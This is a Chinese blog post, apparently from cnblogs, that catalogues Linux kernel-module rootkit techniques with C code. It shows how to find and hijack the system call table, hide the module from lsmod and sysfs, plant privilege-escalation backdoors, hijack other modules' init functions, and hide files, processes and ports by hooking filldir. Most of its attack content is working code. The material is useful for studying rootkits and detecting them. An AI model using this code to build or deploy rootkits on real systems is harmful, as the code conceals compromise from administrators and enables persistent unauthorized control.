zoukankan      html  css  js  c++  java
  • linux lkm rootkit常用技巧

    简介

    搜集一下linux lkm rootkit中常用的一些技巧

    1、劫持系统调用

    遍历地址空间

    根据系统调用中的一些导出函数,比如sys_close的地址来寻找

    unsigned long **
    get_sys_call_table(void)
    {
      unsigned long **entry = (unsigned long **)PAGE_OFFSET;
    
      for (;(unsigned long)entry < ULONG_MAX; entry += 1) {
        if (entry[__NR_close] == (unsigned long *)sys_close) {
            return entry;
          }
      }
    
      return NULL;
    }

    这要求判断的地址是导出函数,这样才能获取到地址

    根据IDT地址,找到中断处理函数,再从中根据特征码找到系统调用表

    在i386的机器中,使用如下代码调用系统调用表

    call *sys_call_table(,%eax,4)

    这条指令的二进制代码是

    0xff 0x14 0x85 <addr4> <addr3> <addr2> <addr1>

    然后根据0xff 0x14 0x85这3个特征码去寻找表的地址

    IDTR idtr; interrupt_descriptor *IDT, *sytem_gate;
    asm("sidt %0" : "=m" (idtr));
    IDT = (interrupt_descriptor *) idtr.base_addr;
    system_gate = &IDT[0x80];
    sys_call_asm = (char *) ((system_gate->off2 << 16) | system_gate->off1);
    for (i = 0; i < 100; i++) {
    if (sys_call_asm[i] == (unsigned char) 0xff &&
    sys_call_asm[i+1] == (unsigned char) 0x14 &&
    sys_call_asm[i+2] == (unsigned char) 0x85)
    *guessed_sct = (unsigned int *) *(unsigned int *) &sys_call_asm[i+3];
    }

    根据system.map来寻找

    System.map位于/boot目录下,内核编译时生的符号表内容

    直接在这个文件中寻找sys_call_table的地址

    内核中kallsym寻找符号地址

    内核中有查询符号表地址的函数,直接使用就可以了

    //查询符号表的函数
    static int khook_lookup_cb(long data[], const char *name, void *module, long addr)
    {
        int i = 0; while (!module && (((const char *)data[0]))[i] == name[i]) {
            if (!name[i++]) return !!(data[1] = addr);
        } return 0;
    }
    /*
    利用kallsyms_on_each_symbol可以查询符号表,只需要传入查询函数就可以了
    data[0]表示要查询的地址
    data[1]表示结果
    */
    static void *khook_lookup_name(const char *name)
    {
        long data[2] = { (long)name, 0 };
        kallsyms_on_each_symbol((void *)khook_lookup_cb, data);
        return (void *)data[1];
    }

    内联钩子

    替换掉内核代码的前一部分,实现劫持内核其他的函数逻辑

    具体可以看这里:https://www.cnblogs.com/likaiming/p/10970543.html

    系统派遣例程篡改

    在整个系统调用的流程中,修改跳转到sys_call_table的地址的位置,然后跳转到自定义伪造系统调用表,这样也可以实现系统调用的劫持

    模拟系统调用

    写一段代码,用到sys_call_table,然后使用objdump查看地址

    #include <stdio.h>
    void fun1()
    {
            printf("fun1/n");
    }
    void fun2()
    {
            printf("fun2/n");
    }
    unsigned int sys_call_table[2] = {fun1, fun2};
    int main(int argc, char **argv)
    {
            asm("call *sys_call_table(%eax,4");
    }

    通过/dev/kmem访问内存来实现系统调用表的搜寻

    这种方式统一和之前的内存地址搜寻一样,需要特征码,比如说0xff 0x14 0x85

    kprobes

    它的工作方式如下:

    1. 用户指定一个探测点,并把一个用户定义的处理函数关联到该探测点
    2. 在注册探测点的时候,对被探测函数的指令码进行替换,替换为int 3的指令码
    3. 在执行int 3的异常执行中,通过通知链的方式调用kprobe的异常处理函数
    4. 在kprobe的异常出来函数中,判断是否存在pre_handler钩子,存在则执行
    5. 执行完后,准备进入单步调试,通过设置EFLAGS中的TF标志位,并且把异常返回的地址修改为保存的原指令码
    6. 代码返回,执行原有指令,执行结束后触发单步异常
    7. 在单步异常的处理中,清除单步标志,执行post_handler流程,并最终返回 

    LSM hook技术

    修改LSM的钩子函数,也就是全局表security_ops的函数指针

    2、隐藏模块

    删除全局模块链表

    lsmod命令是通过/proc/modules来获取当前系统模块信息的,而/proc/modules中的当前系统模块信息是内核利用struct modules结构体的表头遍历内核模块链表、从所有模块的struct module结构体中获取模块的相关信息来得到的。结构体struct module在内核中代表一个内核模块。通过insmod(实际执行init_module系统调用)把自己编写的内核模块插入内核时,模块便与一个 struct module结构体相关联,并成为内核的一部分,所有的内核模块都被维护在一个全局链表中,链表头是一个全局变量struct module *modules。任何一个新创建的模块,都会被加入到这个链表的头部,通过modules->next即可引用到。为了让我们的模块在lsmod命令中的输出里消失掉,我们需要在这个链表内删除我们的模块

    从sysfs中隐藏模块

    除了lsmod命令和相对应的查看/proc/modules以外,我们还可以在sysfs中,也就是通过查看/sys/module/目录来发现现有的模块

    这个问题也很好解决,在初始化函数中添加一行代码即可解决问题

    kobject_del(&THIS_MODULE->mkobj.kobj);

    从文件隐藏的角度来隐藏模块

    前面说到,用户态读取模块信息是proc/modules和sys/modules,可以采用隐藏文件的方式来隐藏这两个文件的信息

    3、后门

    使用proc文件提高进程权限

    新建一个proc文件(当然最后要隐藏),然后自定义file_operation中的写操作,用来提取权限

    使用netfilter过滤进入系统的网络包,通过网络包中特殊字段来做到控制系统

    4、防止其他模块加载

    注册或者注销模块通知处理函数可以使用 register_module_notifier 或者unregister_module_notifier

    编写一个通知处理函数,然后填充 struct notifier_block 结构体, 最后使用register_module_notifier 注册就可以了

    int module_notifier(struct notifier_block *nb,
                    unsigned long action, void *data);
     
    struct notifier_block nb = {
        .notifier_call = module_notifier,
        .priority = INT_MAX
    };

    处理函数里面再更改权限

    int
    fake_init(void);
    void
    fake_exit(void);
     
    int
    module_notifier(struct notifier_block *nb,
                    unsigned long action, void *data)
    {
        struct module *module;
        unsigned long flags;
        // 定义锁。
        DEFINE_SPINLOCK(module_notifier_spinlock);
     
        module = data;
        fm_alert("Processing the module: %s
    ", module->name);
     
        //保存中断状态加锁。
        spin_lock_irqsave(&module_notifier_spinlock, flags);
        switch (module->state) {
        case MODULE_STATE_COMING:
            fm_alert("Replacing init and exit functions: %s.
    ",
                     module->name);
            // 偷天换日:篡改模块的初始函数与退出函数。
            module->init = fake_init;
            module->exit = fake_exit;
            break;
        default:
            break;
        }
     
        // 恢复中断状态解锁。
        spin_unlock_irqrestore(&module_notifier_spinlock, flags);
     
        return NOTIFY_DONE;
    }
     
     
    int
    fake_init(void)
    {
        fm_alert("%s
    ", "Fake init.");
     
        return 0;
    }
     
     
    void
    fake_exit(void)
    {
        fm_alert("%s
    ", "Fake exit.");
     
        return;
    }

    5、隐藏文件

    到文件隐藏,我们不妨先看看文件遍历的实现,在linux内核中,fs eaddir.c中,有3个用来遍历文件的系统调用,old_readdir,getdents和getdents64,看其中两个,也就是系统调用getdents / getdents64 ,简略地浏览它在内核态服务函数(sys_getdents)的源码 (位于fs/readdir.c),我们可以看到如下调用层次, sys_getdents ->iterate_dir -> struct file_operations 里的 iterate->这儿省略若干层次 -> struct dir_context 里的 actor ,也就是filldir

    filldir 负责把一项记录(比如说目录下的一个文件或者一个子目录)填到返回的缓冲区里。如果我们钩掉filldir ,并在我们的钩子函数里对某些特定的记录予以直接丢弃,不填到缓冲区里,上层函数与应用程序就收不到那个记录,也就不知道那个文件或者文件夹的存在了,也就实现了文件隐藏。

    具体说来,我们的隐藏逻辑如下: 篡改根目录(也就是“/”)的 iterate为我们的假 iterate , 在假函数里把 struct dir_context 里的 actor替换成我们的 假 filldir ,假 filldir 会把需要隐藏的文件过滤掉。

    int
    fake_iterate(struct file *filp, struct dir_context *ctx)
    {
        // 备份真的 ``filldir``,以备后面之需。
        real_filldir = ctx->actor;
     
        // 把 ``struct dir_context`` 里的 ``actor``,
        // 也就是真的 ``filldir``
        // 替换成我们的假 ``filldir``
        *(filldir_t *)&ctx->actor = fake_filldir;
     
        return real_iterate(filp, ctx);
    }
     
    int
    fake_filldir(struct dir_context *ctx, const char *name, int namlen,
                 loff_t offset, u64 ino, unsigned d_type)
    {
        if (strncmp(name, SECRET_FILE, strlen(SECRET_FILE)) == 0) {
            // 如果是需要隐藏的文件,直接返回,不填到缓冲区里。
            fm_alert("Hiding: %s", name);
            return 0;
        }
     
        /* pr_cont("%s ", name); */
     
        // 如果不是需要隐藏的文件,
        // 交给的真的 ``filldir`` 把这个记录填到缓冲区里。
        return real_filldir(ctx, name, namlen, offset, ino, d_type);
    }

    通用宏

    # define set_f_op(op, path, new, old)                       
        do {                                                    
            struct file *filp;                                  
            struct file_operations *f_op;                       
                                                                
            fm_alert("Opening the path: %s.
    ", path);          
            filp = filp_open(path, O_RDONLY, 0);                
            if (IS_ERR(filp)) {                                 
                fm_alert("Failed to open %s with error %ld.
    ", 
                         path, PTR_ERR(filp));                  
                old = NULL;                                     
            } else {                                            
                fm_alert("Succeeded in opening: %s
    ", path);   
                f_op = (struct file_operations *)filp->f_op;    
                old = f_op->op;                                 
                                                                
                fm_alert("Changing iterate from %p to %p.
    ",   
                         old, new);                             
                disable_write_protection();                     
                f_op->op = new;                                 
                enable_write_protection();                      
            }                                                   
        } while(0)

    比如这么调用下面的代码

    void *dummy;
    set_file_op(iterate, "/", real_iterate, dummy);

    6、隐藏进程

    Linux 上纯用户态枚举并获取进程信息,/proc 是唯一的去处。所以,对用户态隐藏进程,我们可以隐藏掉/proc 下面的目录,这样用户态能枚举出来进程就在我们的控制下了。读者现在应该些许体会到为什么文件隐藏是重点内容了。

    int
    fake_filldir(struct dir_context *ctx, const char *name, int namlen,
                 loff_t offset, u64 ino, unsigned d_type)
    {
        char *endp;
        long pid;
     
        // 把字符串变成长整数。
        pid = simple_strtol(name, &endp, 10);
     
        if (pid == SECRET_PROC) {
            // 是我们需要隐藏的进程,直接返回。
            fm_alert("Hiding pid: %ld", pid);
            return 0;
        }
     
        /* pr_cont("%s ", name); */
     
        // 不是需要隐藏的进程,交给真的 ``filldir`` 填到缓冲区里。
        return real_filldir(ctx, name, namlen, offset, ino, d_type);

    7、隐藏端口

    向用户态隐藏端口, 其实就是在用户进程读/proc下面的相关文件获取端口信息时, 把需要隐藏的的端口的内容过滤掉,使得用户进程读到的内容里面没有我们想隐藏的端口。
    具体说来,看下面的表格。
    网络类型 /proc 文件 内核源码文件 主要实现函数
    TCP / IPv4 /proc/net/tcp net/ipv4/tcp_ipv4.c tcp4_seq_show
    TCP / IPv6 /proc/net/tcp6 net/ipv6/tcp_ipv6.c tcp6_seq_show
    UDP / IPv4 /proc/net/udp net/ipv4/udp.c udp4_seq_show
    UDP / IPv6 /proc/net/udp6 net/ipv6/udp.c udp6_seq_show
  • 相关阅读:
    kubectl exec 执行 容器命令
    centos下通过yum安装redis-cli
    windows下 使用ip地址反查主机名的命令
    O365(世纪互联)SharePoint 之文档库使用小记
    SharePoint 2016 图文安装教程
    SharePoint 2013 激活标题字段外的Menu菜单
    SharePoint 2013 定制搜索显示模板(二)
    SharePoint 2013 定制搜索显示模板
    SharePoint 2013 网站搜索规则的使用示例
    SharePoint 2013 搜索功能,列表项目不能完全被索引
  • 原文地址:https://www.cnblogs.com/likaiming/p/11002351.html
Copyright © 2011-2022 走看看